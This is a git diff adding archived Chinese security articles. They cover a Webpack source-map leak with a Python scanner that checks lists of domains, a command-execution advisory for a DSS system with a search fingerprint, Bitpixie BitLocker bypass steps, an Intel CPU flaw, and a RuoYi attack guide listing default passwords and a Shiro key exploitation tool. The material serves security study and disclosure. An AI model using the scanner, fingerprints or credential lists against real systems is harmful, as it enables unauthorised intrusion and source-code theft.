本次小迪老师靶场实战演练,从环境搭建到对域控制器的完全控制,覆盖了Web渗透、内网横向移动、权限提升等多个核心环节。在实践过程中,不仅巩固了PHP-CGI、永恒之蓝、WebLogic等常见漏洞的利用方法,也深入理解了内网渗透中路由建立、代理配置、文件传输及正向上线等关键技巧。同时,对在实战中遇到的问题(如永恒之蓝利用失败、正向上线受阻)进行了分析,并尝试了不同的解决思路。
|
||||
|
||||
通过此次靶场实战,进一步提升了个人在网络安全领域的综合实战能力和问题解决能力。
|
||||
|
||||
|
||||
**关 注 有 礼**
|
||||
|
||||
|
||||
|
||||
欢迎关注公众号:网络安全者
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
本文内容来自网络,如有侵权请联系删除
|
||||
|
466
doc/2025-05/Webpack源码泄露漏洞批量探测.md
Normal file
466
doc/2025-05/Webpack源码泄露漏洞批量探测.md
Normal file
@ -0,0 +1,466 @@
|
||||
# Webpack源码泄露漏洞批量探测
|
||||
回忆潋红雨 神农Sec 2025-05-16 02:23
|
||||
|
||||
扫码加圈子
|
||||
|
||||
获内部资料
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
#
|
||||
|
||||
网络安全领域各种资源,EDUSRC证书站挖掘、红蓝攻防、渗透测试等优质文章,以及工具分享、前沿信息分享、POC、EXP分享。
|
||||
不定期分享各种好玩的项目及好用的工具,欢迎关注。加内部圈子,文末有彩蛋(知识星球优惠卷)。
|
||||
#
|
||||
|
||||
原文链接:
|
||||
https://xz.aliyun.com/news/17972
|
||||
|
||||
作者:
|
||||
回忆潋红雨
|
||||
|
||||
|
||||

|
||||
|
||||
****
|
||||
**Webpack漏洞测试**
|
||||
|
||||
# 一、漏洞原理
|
||||
|
||||
|
||||
Webpack 源码泄露漏洞是一种由于前端打包工具 Webpack 配置不当,导致攻击者可通过 .map 文件还原原始源代码的安全风险。
|
||||
|
||||
|
||||
Webpack 在打包前端项目时,若开启 source map 生成功能(如配置 devtool: "source-map"),会生成 .js.map 文件或内嵌映射信息到 JS 文件中。
|
||||
|
||||
|
||||
- Source map 作用:用于生产环境调试,将压缩/混淆后的代码映射回原始源码,便于定位错误。
|
||||
- 泄露途径
|
||||
- 显式生成 .map 文件:当 devtool 设为 source-map、hidden-source-map 等值时,JS 文件同级目录会生成 .map 文件,通过直接访问 main.js.map 即可下载;
|
||||
- 内嵌映射信息:当 devtool 设为 inline-source-map 时,映射数据会以 Base64 形式内嵌在 JS 文件末尾。
|
||||
# 二、漏洞危害
|
||||
|
||||
|
||||
泄露的源码可能包含以下敏感信息,导致进一步攻击:
|
||||
|
||||
|
||||
- 业务逻辑暴露:API 接口路径、权限验证逻辑、加密算法(如登录密码加解密方式);
|
||||
- 敏感数据泄露:管理员邮箱、内网 IP 地址、数据库连接配置(若开发阶段未删除测试配置);
|
||||
- 攻击面扩大:还原后的代码可辅助挖掘 XSS、越权访问等漏洞。
|
||||
# 三、漏洞检测
|
||||
|
||||
1. 浏览器插件检测
|
||||

|
||||
|
||||
1. F12搜索关键字
|
||||

|
||||
|
||||
1. 批量探测
|
||||
- 获取HTML页面
|
||||
- 解析JS文件链接
|
||||
- 并发检测JS文件
|
||||
- 特征检测
|
||||
- 版本检测
|
||||
- SourceMap检测
|
||||
- 输出CSV/HTML文件
|
||||
```
|
||||
import requests
|
||||
import re
|
||||
import csv
|
||||
import pandas as pd
|
||||
from concurrent.futures import ThreadPoolExecutor
|
||||
from urllib.parse import urljoin
|
||||
from bs4 import BeautifulSoup
|
||||
|
||||
# 禁用SSL警告
|
||||
requests.packages.urllib3.disable_warnings()
|
||||
|
||||
|
||||
def detect_webpack(domain):
|
||||
"""
|
||||
检测域名是否使用Webpack打包器
|
||||
返回:域名, [检测结果列表]
|
||||
"""
|
||||
domain = domain.strip()
|
||||
if not domain:
|
||||
return (domain, [])
|
||||
|
||||
detected_data = []
|
||||
|
||||
try:
|
||||
# 获取HTML页面
|
||||
response = requests.get(
|
||||
f"https://{domain}",
|
||||
timeout=15,
|
||||
verify=False,
|
||||
headers={"User-Agent": "Mozilla/5.0"}
|
||||
)
|
||||
if response.status_code != 200:
|
||||
return (domain, [])
|
||||
|
||||
# 解析JS文件链接
|
||||
soup = BeautifulSoup(response.text, 'html.parser')
|
||||
script_tags = soup.find_all('script', {'src': True})
|
||||
js_urls = list({urljoin(response.url, tag['src']) for tag in script_tags}) # 去重
|
||||
|
||||
# 并发检测JS文件
|
||||
with ThreadPoolExecutor(max_workers=5) as executor:
|
||||
futures = [executor.submit(check_js_file, url) for url in js_urls]
|
||||
for future, url in zip(futures, js_urls):
|
||||
result = future.result()
|
||||
if result["detected"]:
|
||||
detected_data.append({
|
||||
"js_url": url,
|
||||
"version": result["version"],
|
||||
"sourcemap": result["sourcemap"],
|
||||
"patterns": result["patterns"]
|
||||
})
|
||||
|
||||
return (domain, detected_data)
|
||||
|
||||
except Exception as e:
|
||||
return (domain, [])
|
||||
|
||||
|
||||
def check_js_file(url):
|
||||
"""
|
||||
检查JS文件特征并返回完整检测数据
|
||||
返回:{
|
||||
"detected": bool,
|
||||
"version": str,
|
||||
"sourcemap": str,
|
||||
"patterns": list,
|
||||
"js_url": str
|
||||
}
|
||||
"""
|
||||
result = {
|
||||
"detected": False,
|
||||
"version": None,
|
||||
"sourcemap": None,
|
||||
"patterns": [],
|
||||
"js_url": url
|
||||
}
|
||||
|
||||
try:
|
||||
# 下载前100KB内容
|
||||
headers = {'Range': 'bytes=0-102400', 'User-Agent': 'Mozilla/5.0'}
|
||||
response = requests.get(
|
||||
url,
|
||||
timeout=10,
|
||||
verify=False,
|
||||
headers=headers,
|
||||
stream=True
|
||||
)
|
||||
content = response.text.lower()
|
||||
|
||||
# 特征检测
|
||||
patterns = {
|
||||
'__webpack_require__': '核心函数标识',
|
||||
'webpackchunk': '代码分块特征',
|
||||
'webpackjsonp': '异步加载标识',
|
||||
'[contenthash]': '文件哈希命名规则'
|
||||
}
|
||||
|
||||
# 匹配特征
|
||||
matched_patterns = []
|
||||
for pattern, desc in patterns.items():
|
||||
if re.search(pattern, content):
|
||||
matched_patterns.append(f"{desc}({pattern})")
|
||||
|
||||
# 版本检测
|
||||
version_match = re.search(r'webpack\s+v?(\d+\.\d+\.\d+)', content)
|
||||
if version_match:
|
||||
result["version"] = version_match.group(1)
|
||||
|
||||
# SourceMap检测
|
||||
sourcemap_match = re.search(r'//# sourceMappingURL=(.+\.map)', content)
|
||||
if sourcemap_match:
|
||||
result["sourcemap"] = urljoin(url, sourcemap_match.group(1))
|
||||
|
||||
# 综合判断
|
||||
if matched_patterns or result["version"] or result["sourcemap"]:
|
||||
result.update({
|
||||
"detected": True,
|
||||
"patterns": matched_patterns
|
||||
})
|
||||
|
||||
return result
|
||||
|
||||
except Exception as e:
|
||||
return result
|
||||
|
||||
|
||||
def generate_html_report(csv_path, html_path):
|
||||
"""生成带样式的HTML报告"""
|
||||
# 读取CSV数据
|
||||
df = pd.read_csv(csv_path)
|
||||
|
||||
# 生成HTML表格
|
||||
html = df.to_html(index=False, escape=False)
|
||||
|
||||
# 添加CSS样式
|
||||
styled_html = f"""
|
||||
<html>
|
||||
<head>
|
||||
<style>
|
||||
table {{
|
||||
border-collapse: collapse;
|
||||
width: 100%;
|
||||
margin: 20px 0;
|
||||
box-shadow: 0 1px 3px rgba(0,0,0,0.2);
|
||||
}}
|
||||
th {{
|
||||
background-color: #4CAF50;
|
||||
color: white;
|
||||
padding: 12px;
|
||||
text-align: left;
|
||||
}}
|
||||
td {{
|
||||
padding: 10px;
|
||||
border-bottom: 1px solid #ddd;
|
||||
}}
|
||||
tr:nth-child(even) {{
|
||||
background-color: #f2f2f2;
|
||||
}}
|
||||
tr:hover {{
|
||||
background-color: #ddd;
|
||||
}}
|
||||
.detected {{
|
||||
color: green;
|
||||
font-weight: bold;
|
||||
}}
|
||||
.sourcemap {{
|
||||
max-width: 300px;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
}}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<h2>Webpack检测报告</h2>
|
||||
{html}
|
||||
</body>
|
||||
</html>
|
||||
"""
|
||||
|
||||
with open(html_path, 'w', encoding='utf-8') as f:
|
||||
f.write(styled_html)
|
||||
|
||||
|
||||
def process_domains(input_file, output_csv, output_html):
|
||||
# 读取域名列表
|
||||
with open(input_file, 'r') as f:
|
||||
domains = [line.strip() for line in f if line.strip()]
|
||||
|
||||
# 并发处理
|
||||
results = []
|
||||
with ThreadPoolExecutor(max_workers=15) as executor:
|
||||
futures = [executor.submit(detect_webpack, domain) for domain in domains]
|
||||
for future in futures:
|
||||
results.append(future.result())
|
||||
|
||||
# 写入CSV文件
|
||||
with open(output_csv, 'w', newline='', encoding='utf-8') as f:
|
||||
writer = csv.writer(f)
|
||||
writer.writerow([
|
||||
'Domain',
|
||||
'Webpack Detected',
|
||||
'JS Path',
|
||||
'Detected Patterns',
|
||||
'Webpack Version',
|
||||
'SourceMap URL'
|
||||
])
|
||||
|
||||
for domain, files in results:
|
||||
if files:
|
||||
for data in files:
|
||||
writer.writerow([
|
||||
domain,
|
||||
'True',
|
||||
data["js_url"],
|
||||
'; '.join(data["patterns"]),
|
||||
data["version"] or 'N/A',
|
||||
data["sourcemap"] or 'N/A'
|
||||
])
|
||||
else:
|
||||
writer.writerow([domain, 'False', 'N/A', 'N/A', 'N/A', 'N/A'])
|
||||
|
||||
# 生成HTML报告
|
||||
generate_html_report(output_csv, output_html)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
process_domains(
|
||||
input_file="domains.txt",
|
||||
output_csv="webpack_report.csv",
|
||||
output_html="webpack_report.html"
|
||||
)
|
||||
```
|
||||
- 结果呈现
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
# 四、漏洞利用
|
||||
|
||||
|
||||
本文重点是漏洞的批量探测,关于漏洞利用手法不过多赘述,下文仅列举常见的攻击手法。
|
||||
|
||||
|
||||
1. 下载 .map 文件:通过上述方法获取目标网站的 .map 文件;
|
||||
1. 还原源码:使用 reverse-sourcemap 工具还原原始项目结构:
|
||||
```
|
||||
npm install -g reverse-sourcemap
|
||||
reverse-sourcemap --output-dir ./src main.js.map
|
||||
```
|
||||
|
||||
还原后的代码将保留原始目录结构(如 Vue 组件的 assets、router 目录)
|
||||
|
||||
1. 分析敏感信息:重点检查 config/(配置)、api/(接口)、utils/(通用函数)等目录
|
||||
# 五、修复方案
|
||||
|
||||
|
||||
- 禁用 source map 生成:在生产环境配置中设置 productionSourceMap: false(Vue 项目修改 vue.config.js)或 devtool: false(Webpack 原生配置);
|
||||
- 删除已有 .map 文件:通过服务器配置(如 Nginx)禁止访问 .map 文件,或直接移除部署目录中的 .map 文件;
|
||||
- 代码混淆加固:使用 terser-webpack-plugin 等工具对 JS 代码进行深度混淆,增加逆向难度;
|
||||
- 内网信息审查:确保源码中不包含测试环境的内网 IP、硬编码凭证等敏感数据。
|
||||

|
||||
|
||||
****
|
||||
**内部圈子详情介绍**
|
||||
|
||||
我们是
|
||||
神农安全
|
||||
,点赞 + 在看
|
||||
铁铁们点起来,最后祝大家都能心想事成、发大财、行大运。
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
**内部圈子介绍**
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
**圈子专注于更新src/红蓝攻防相关:**
|
||||
|
||||
```
|
||||
1、维护更新src专项漏洞知识库,包含原理、挖掘技巧、实战案例
|
||||
2、知识星球专属微信“小圈子交流群”
|
||||
3、微信小群一起挖洞
|
||||
4、内部团队专属EDUSRC证书站漏洞报告
|
||||
5、分享src优质视频课程(企业src/EDUSRC/红蓝队攻防)
|
||||
6、分享src挖掘技巧tips
|
||||
7、不定期有众测、渗透测试项目(一起挣钱)
|
||||
8、不定期有工作招聘内推(工作/护网内推)
|
||||
9、送全国职业技能大赛环境+WP解析(比赛拿奖)
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
**内部圈子**
|
||||
**专栏介绍**
|
||||
|
||||
知识星球内部共享资料截屏详情如下
|
||||
|
||||
(只要没有特殊情况,每天都保持更新)
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||
**知识星球——**
|
||||
**神农安全**
|
||||
|
||||
星球现价
|
||||
¥45元
|
||||
|
||||
如果你觉得应该加入,就不要犹豫,价格只会上涨,不会下跌
|
||||
|
||||
星球人数少于800人 45元/年
|
||||
|
||||
星球人数少于1000人 60元/年
|
||||
|
||||
(新人优惠卷20,扫码或者私信我即可领取)
|
||||
|
||||

|
||||
|
||||
欢迎加入星球一起交流,券后价仅45元!!! 即将满800人涨价
|
||||
|
||||
长期
|
||||
更新,更多的0day/1day漏洞POC/EXP
|
||||
|
||||
|
||||
|
||||
**内部知识库--**
|
||||
**(持续更新中)**
|
||||
|
||||

|
||||
|
||||
|
||||
**知识库部分大纲目录如下:**
|
||||
|
||||
知识库跟
|
||||
知识星球联动,基本上每天保持
|
||||
更新,满足圈友的需求
|
||||
|
||||

|
||||
|
||||
|
||||
知识库和知识星球有师傅们关注的
|
||||
EDUSRC
|
||||
和
|
||||
CNVD相关内容(内部资料)
|
||||
|
||||

|
||||
|
||||
|
||||
还有网上流出来的各种
|
||||
SRC/CTF等课程视频
|
||||
|
||||
量大管饱,扫描下面的知识星球二维码加入即可
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
内部小圈子——
|
||||
圈友反馈
|
||||
(
|
||||
良心价格
|
||||
)
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||
****
|
||||
**神农安全公开交流群**
|
||||
|
||||
有需要的师傅们直接扫描文章二维码加入,然后要是后面群聊二维码扫描加入不了的师傅们,直接扫描文章开头的二维码加我(备注加群)
|
||||
|
||||

|
||||
|
||||
****
|
||||
|
||||
```
|
||||
```
|
||||
|
||||

|
||||
|
||||
#
|
||||
|
File diff suppressed because one or more lines are too long
122
doc/2025-05/【漏洞预警】某华DSS系统存在命令执行漏洞.md
Normal file
122
doc/2025-05/【漏洞预警】某华DSS系统存在命令执行漏洞.md
Normal file
@ -0,0 +1,122 @@
|
||||
# 【漏洞预警】某华DSS系统存在命令执行漏洞
|
||||
原创 跟着斯叔唠安全 跟着斯叔唠安全 2025-05-16 00:01
|
||||
|
||||
免责声明
|
||||
:
|
||||
请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
|
||||
|
||||
|
||||
1
|
||||
|
||||
Start
|
||||
|
||||
资产测绘
|
||||
```
|
||||
body:"/itc/include/script/My97DatePicker/WdatePicker.js"
|
||||
```
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
2
|
||||
|
||||
Action
|
||||
|
||||
漏洞复现
|
||||
|
||||
直接在命令执行点ping一下dnslog,顺便whoami一下看看当前权限。文末查看具体payload信息。
|
||||
|
||||

|
||||
|
||||
========================================================
|
||||
|
||||
逆向加解密算法,是渗透测试、漏洞挖掘中非常常见的场景。不少安全从业者都栽在了 Web、APP、小程序中的各种加解密逻辑上。要么绕不过去,要么耗时耗力搞不定,web加解密都要定位半天?
|
||||
|
||||
为了解决这个问题,我们推出了这门课程:
|
||||
|
||||
🎯 **《加解密逆向技能速成培训》**
|
||||
|
||||
这是一门定位非常清晰的速成实战课。我们不教你写算法,我们教你如何“用好”算法。实战教学,如何用最高效的方式快速逆向加解密。
|
||||
## ✅ 课程定价
|
||||
|
||||
仅需 **99 元**
|
||||
,一次性掌握
|
||||
Web/APP/小程序多端逆向技能。
|
||||
|
||||
## 🎁 限时赠送内容(非常硬核)
|
||||
- ✅ 一年纷传圈子,专人答疑+资料分享
|
||||
|
||||
- ✅ 魔改 Frida,能绕过市面绝大多数 Frida 检测
|
||||
|
||||
- ✅ 小程序 RPC ,助力你打通小程序体系的算法逆向
|
||||
|
||||
## 🧠 课程内容简介
|
||||
### 📌 加解密插件介绍
|
||||
- 快速接入主流插件,加快定位和分析速度
|
||||
|
||||
### 📌 小程序加解密逆向
|
||||
- 如何定位加密逻辑
|
||||
|
||||
- 使用 RPC 模块快速调试
|
||||
|
||||
- 处理固定动态 key 的实际思路和案例
|
||||
|
||||
### 📌 Web 加解密逆向
|
||||
- 手工 + 工具双路线,一键定位,绝杀加密
|
||||
|
||||
- 搭配 RPC 框架高效完成 JSHook
|
||||
|
||||
- 定位常见 Web 加密套路
|
||||
|
||||
### 📌 APP 加解密逆向
|
||||
- 利用“算法自吐”技巧快速获取关键数据
|
||||
|
||||
- 手工配合 RPC 脚本进行有效调试
|
||||
|
||||
- 抓住动态 key + 多态混淆的实际处理技巧
|
||||
|
||||
## 💬 课程定位说明
|
||||
|
||||
这不是爬虫课程。我们不花大量时间去研究 AES、RSA、SM4等等算法是如何实现的。我们要做的是:
|
||||
|
||||
✅ **把这些算法直接利用起来,为渗透服务**
|
||||
|
||||
✅ **提升调试、hook、定位、利用能力**
|
||||
|
||||
✅ **实现“实战优先”,“效率为王”,快速赋能**
|
||||
|
||||
|
||||
📩 **报名方式**
|
||||
:
|
||||
|
||||
添加下方微信
|
||||
|
||||

|
||||
|
||||
|
||||
3
|
||||
|
||||
End
|
||||
|
||||
🚀 **新圈子上线 | 高质量安全内容持续更新中!**
|
||||
|
||||
我最近在纷传上建立了一个全新的安全技术圈子,主要聚焦于 **WEB安全、APP安全、代码审计、漏洞分享**
|
||||
等核心方向。目前圈子刚刚建立,内容还不算多,但会**持续高频更新**
|
||||
,只分享真正有价值、有深度的干货文章。
|
||||
|
||||
📚 圈子中包含:
|
||||
- 高质量原创或精选的安全技术文章
|
||||
|
||||
- 公众号历史付费内容免费查看(如:小程序RPC、APP抓包解决方案)
|
||||
|
||||
- 一些只在圈子内分享的独家思路和实战经验
|
||||
|
||||
文章中涉及的完整POC及代码审计报告已上传至纷传圈子中,需要的师傅可以自取哈
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
|
@ -0,0 +1,71 @@
|
||||
# 利用Bitpixie漏洞(CVE-2023-21563)可在数分钟内绕过BitLocker加密——概念验证揭示高风险攻击路径
|
||||
邑安科技 邑安全 2025-05-16 02:23
|
||||
|
||||
更多全球网络安全资讯尽在邑安全
|
||||
|
||||

|
||||
|
||||
图片来源:Compass Security
|
||||
|
||||
安全研究人员近日展示了一种纯软件技术,可在无需物理工具(如螺丝刀、焊枪)或硬件破解的情况下,成功绕过微软BitLocker加密防护。
|
||||
|
||||
通过利用名为Bitpixie(CVE-2023-21563)的漏洞,红队成员与攻防安全专家能够从内存中提取BitLocker卷主密钥(VMK),在五分钟内完整解密受保护的Windows设备。Compass Security研究员Marc Tanner在红队评估报告中指出:"该漏洞利用过程具有非侵入性,既不需要永久性设备改造,也无需获取完整磁盘映像"。
|
||||
## 两种主要攻击路径
|
||||
|
||||
报告详细描述了两种基于软件的攻击路径:一种基于Linux系统,另一种基于Windows PE环境——二者均利用了存在缺陷的启动路径,以及BitLocker在缺乏预启动认证时对TPM(可信平台模块)的依赖机制。
|
||||
### Linux环境攻击(Bitpixie Linux版)
|
||||
1. 通过Shift+重启组合键进入Windows恢复环境
|
||||
|
||||
1. 通过PXE网络启动存在漏洞的Windows启动管理器
|
||||
|
||||
1. 修改启动配置数据(BCD)强制PXE软重启
|
||||
|
||||
1. 加载已签名的Linux引导程序(shimx64.efi)
|
||||
|
||||
1. 链式加载GRUB引导器、Linux内核及初始化内存盘
|
||||
|
||||
1. 使用内核模块扫描物理内存获取VMK
|
||||
|
||||
1. 通过dislocker工具挂载含提取密钥的加密卷
|
||||
|
||||
报告特别指出:"只要设备启动时不要求输入PIN码或插入USB密钥,该攻击就能完全绕过BitLocker保护,在约5分钟内实现入侵,并可灵活融入社会工程攻击场景。"
|
||||
### Windows PE环境攻击(Bitpixie WinPE版)
|
||||
|
||||
针对阻止第三方签名组件的系统(如联想安全核心PC),攻击者可切换至Windows原生攻击路径:
|
||||
1. 通过修改BCD再次PXE启动Windows启动管理器
|
||||
|
||||
1. 加载包含winload.efi、ntoskrnl.exe等微软签名组件的WinPE镜像
|
||||
|
||||
1. 运行定制版WinPmem工具扫描内存获取VMK
|
||||
|
||||
1. 利用VMK解密BitLocker元数据并提取可读恢复密钥
|
||||
|
||||
研究人员解释:"该攻击流仅使用微软签名的核心组件...只要设备信任微软Windows Production PCA 2011证书,所有受影响设备均可能遭入侵。"
|
||||
## 安全建议
|
||||
|
||||
报告强调,虽然仅启用TPM保护的BitLocker配置为用户提供了便利,但这种设置使系统暴露于纯软件攻击之下。研究人员建议:"启用预启动认证(PIN码、USB密钥或密钥文件)可有效缓解Bitpixie漏洞及各类软硬件攻击。"安全团队应立即审计所有使用BitLocker的设备,并强制启用预启动认证机制。
|
||||
|
||||
原文来自:
|
||||
securityonline.info
|
||||
|
||||
原文链接:
|
||||
https://securityonline.info/bitlocker-encryption-bypassed-in-minutes-via-bitpixie-cve-2023-21563-poc-reveals-high-risk-attack-path/
|
||||
|
||||
欢迎收藏并分享朋友圈,让五邑人网络更安全
|
||||
|
||||
|
||||
欢迎扫描关注我们,及时了解最新安全动态、学习最潮流的安全姿势!
|
||||
|
||||
推荐文章
|
||||
|
||||
1
|
||||
|
||||
[新永恒之蓝?微软SMBv3高危漏洞(CVE-2020-0796)分析复现](http://mp.weixin.qq.com/s?__biz=MzUyMzczNzUyNQ==&mid=2247488913&idx=1&sn=acbf595a4a80dcaba647c7a32fe5e06b&chksm=fa39554bcd4edc5dc90019f33746404ab7593dd9d90109b1076a4a73f2be0cb6fa90e8743b50&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
2
|
||||
|
||||
[重大漏洞预警:ubuntu最新版本存在本地提权漏洞(已有EXP) ](http://mp.weixin.qq.com/s?__biz=MzUyMzczNzUyNQ==&mid=2247483652&idx=1&sn=b2f2ec90db499e23cfa252e9ee743265&chksm=fa3941decd4ec8c83a268c3480c354a621d515262bcbb5f35e1a2dde8c828bdc7b9011cb5072&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
92
doc/2025-05/安全资讯英特尔CPU曝分支权限注入重大安全漏洞.md
Normal file
92
doc/2025-05/安全资讯英特尔CPU曝分支权限注入重大安全漏洞.md
Normal file
@ -0,0 +1,92 @@
|
||||
# 安全资讯|英特尔CPU曝分支权限注入重大安全漏洞
|
||||
SecHub网络安全社区 2025-05-16 02:22
|
||||
|
||||
****
|
||||
****
|
||||
****
|
||||
**点击蓝字 关注我们**
|
||||
|
||||

|
||||
|
||||
|
||||
**免责声明**
|
||||
|
||||
本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。
|
||||
|
||||
如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。
|
||||
|
||||
文中所涉及的技术、思路及工具等相关知识仅供安全为目的的学习使用,任何人不得将其应用于非法用途及盈利等目的,间接使用文章中的任何工具、思路及技术,我方对于由此引起的法律后果概不负责。
|
||||
## 🌟简介
|
||||
## 所有现代英特尔 CPU 中存在一个名为“分支权限注入”的新漏洞,允许攻击者从分配给操作系统内核等特权软件的内存区域泄露敏感数据。
|
||||
## 通常,这些区域包含诸如密码、加密密钥、其他进程的内存和内核数据结构等信息,因此保护它们免受泄露至关重要。
|
||||
## CVE-2024-45332,被称为分支权限注入,利用英特尔分支预测单元 BTB 和 IBP 的异步更新来跨越权限边界。当进程从用户模式转换为内核模式时,存在一个短暂的时间间隔,其中预测器状态反映用户模式训练。如果攻击者在选定的设备地址上训练了预测器,内核上下文中的推测执行将跟随该分支,执行攻击者控制的代码路径,这些路径会触及敏感的内核内存。随后,通过缓存行为的侧信道分析揭示了密码散列和加密密钥等秘密数据,在 Ubuntu 24.04 上,默认的 Spectre v2 保护下,已证明泄露速率高达 5.6 KB/s,准确率为 99.8%。
|
||||
|
||||
**受影响的版本**
|
||||
|
||||
CVE-2024-45332 影响从第九代开始的全部英特尔 CPU,包括 Coffee Lake、Comet Lake、Rocket Lake、Alder Lake 和 Raptor Lake。
|
||||
|
||||

|
||||
|
||||
**修补措施**
|
||||
|
||||
**尽管攻击在 Linux 上进行了演示,但漏洞存在于硬件层面,因此理论上在 Windows 上也可被利用。**
|
||||
|
||||
**英特尔发布了缓解受影响型号 CVE-2024-45332 的微代码更新。**
|
||||
|
||||
固件级别的缓解措施引入了 2.7%的性能开销,而软件缓解措施的性能影响在 1.6%到 8.3%之间,具体取决于 CPU。
|
||||
|
||||
对于普通用户来说,风险较低,攻击需要多个强烈的前提条件才能打开现实的可利用场景。话虽如此,建议应用最新的 BIOS/UEFI 和操作系统更新。
|
||||
|
||||
|
||||
|
||||
欢迎关注SecHub网络安全社区,SecHub网络安全社区目前邀请式注册,邀请码获取见公众号菜单【邀请码】
|
||||
|
||||
**#**
|
||||
|
||||
|
||||
**企业简介**
|
||||
|
||||
|
||||
**赛克艾威 - 网络安全解决方案提供商**
|
||||
|
||||
****
|
||||
北京赛克艾威科技有限公司(简称:赛克艾威),成立于2016年9月,提供全面的安全解决方案和专业的技术服务,帮助客户保护数字资产和网络环境的安全。
|
||||
|
||||
|
||||
安全评估|渗透测试|漏洞扫描|安全巡检
|
||||
|
||||
代码审计|钓鱼演练|应急响应|安全运维
|
||||
|
||||
重大时刻安保|企业安全培训
|
||||
|
||||

|
||||
|
||||
|
||||
**联系方式**
|
||||
|
||||
电话|010-86460828
|
||||
|
||||
官网|https://sechub.com.cn
|
||||
|
||||
|
||||

|
||||
|
||||
**关注我们**
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
**公众号:**
|
||||
sechub安全
|
||||
|
||||
**哔哩号:**
|
||||
SecHub官方账号
|
||||
|
||||
|
||||
|
@ -1,5 +1,7 @@
|
||||
# 攻防实战之若依(RuoYi)框架漏洞战争手册
|
||||
Locks_ 亿人安全 2025-05-12 06:45
|
||||
黑白之道 2025-05-16 01:54
|
||||
|
||||

|
||||
|
||||
原文首发在:奇安信攻防社区
|
||||
|
||||
@ -8,26 +10,17 @@ https://forum.butian.net/share/4328
|
||||
当你在用若依时,黑客已经在用Shiro默认密钥弹你的Shell;当你还在纠结分页查询,攻击者已通过SQL注入接管数据库;而你以为安全的定时任务,不过是他们拿捏服务器的玩具。这份手册,带你用渗透的视角,解剖若依的每一处致命弱点——因为真正的安全,始于知晓如何毁灭它。
|
||||
# 0x00 前言
|
||||
|
||||

|
||||

|
||||
## 简介
|
||||
|
||||
Ruoyi(若依)是一款基于Spring Boot和Vue.js开发的快速开发平台。它提供了许多常见的后台管理系统所需的功能和组件,包括权限管理、定时任务、代码生成、日志管理等。Ruoyi的目标是帮助开发者快速搭建后台管理系统,提高开发效率。
|
||||
|
||||
若依有很多版本,其中使用最多的是Ruoyi单应用版本(RuoYi),Ruoyi前后端分离版本(RuoYi-Vue),Ruoyi微服务版本(RuoYi-Cloud),Ruoyi移动版本(RuoYi-App)。
|
||||
|
||||

|
||||

|
||||
## 配合ruoyi的服务:
|
||||
```
|
||||
alibaba druid
|
||||
alibaba nacos
|
||||
spring
|
||||
redis
|
||||
mysql
|
||||
minio
|
||||
fastjson
|
||||
shiro
|
||||
swagger-ui.html
|
||||
mybatis
|
||||
alibaba druid alibaba nacos spring redis mysql minio fastjson shiro swagger-ui.html mybatis
|
||||
```
|
||||
## 搜索语法
|
||||
|
||||
@ -47,36 +40,31 @@ web.body="若依后台管理系统"
|
||||
git clone https://gitee.com/y_project/RuoYi
|
||||
```
|
||||
|
||||

|
||||

|
||||
```
|
||||
cd RuoYi
|
||||
切换版本
|
||||
git tag -l
|
||||
切换
|
||||
git checkout v4.5.1
|
||||
cd RuoYi 切换版本git tag -l切换git checkout v4.5.1
|
||||
```
|
||||
|
||||

|
||||

|
||||
|
||||

|
||||
接下来用idea搭建的
|
||||
|
||||
mysql正常用phpstudy搭建就行
|
||||
|
||||
日志存放路径需要修改
|
||||
|
||||

|
||||

|
||||
|
||||
配置mysql
|
||||
|
||||

|
||||

|
||||
|
||||

|
||||
|
||||

|
||||

|
||||
|
||||
启动即可,默认端口80
|
||||
# 0x01 弱口令
|
||||
```
|
||||
用户:admin ruoyi druid
|
||||
密码:123456 admin druid admin123 admin888
|
||||
用户:admin ruoyi druid 密码:123456 admin druid admin123 admin888
|
||||
```
|
||||
# 0x02 Shiro默认密钥
|
||||
## 漏洞简介
|
||||
@ -89,15 +77,16 @@ RuoYi<V-4.6.2
|
||||
|
||||
在配置文件中,能够看到shiro的密钥是在配置文件中的
|
||||
|
||||

|
||||

|
||||
|
||||
漏洞利用工具地址
|
||||
|
||||
https://github.com/SummerSec/ShiroAttack2
|
||||
- RuoYi-4.2版本使用的是shiro-1.4.2在该版本和该版本之后都需要勾选AES GCM模式。
|
||||
|
||||

|
||||

|
||||
|
||||

|
||||

|
||||
|
||||
<table><thead><tr style="box-sizing: border-box;background-color: rgb(255, 255, 255);border-top: 0.606061px solid rgb(216, 222, 228);"><th style="box-sizing: border-box;padding: 6px 13px;text-align: left;font-weight: 600;border-color: rgb(208, 215, 222);border-style: solid;border-width: 0.606061px;border-image: none 100% / 1 / 0 stretch;"><section><span leaf="">RuoYi 版本号</span></section></th><th style="box-sizing: border-box;padding: 6px 13px;text-align: left;font-weight: 600;border-color: rgb(208, 215, 222);border-style: solid;border-width: 0.606061px;border-image: none 100% / 1 / 0 stretch;"><section><span leaf="">对象版本的默认AES密钥</span></section></th></tr></thead><tbody><tr style="box-sizing: border-box;background-color: rgb(255, 255, 255);border-top: 0.606061px solid rgb(216, 222, 228);"><td style="box-sizing: 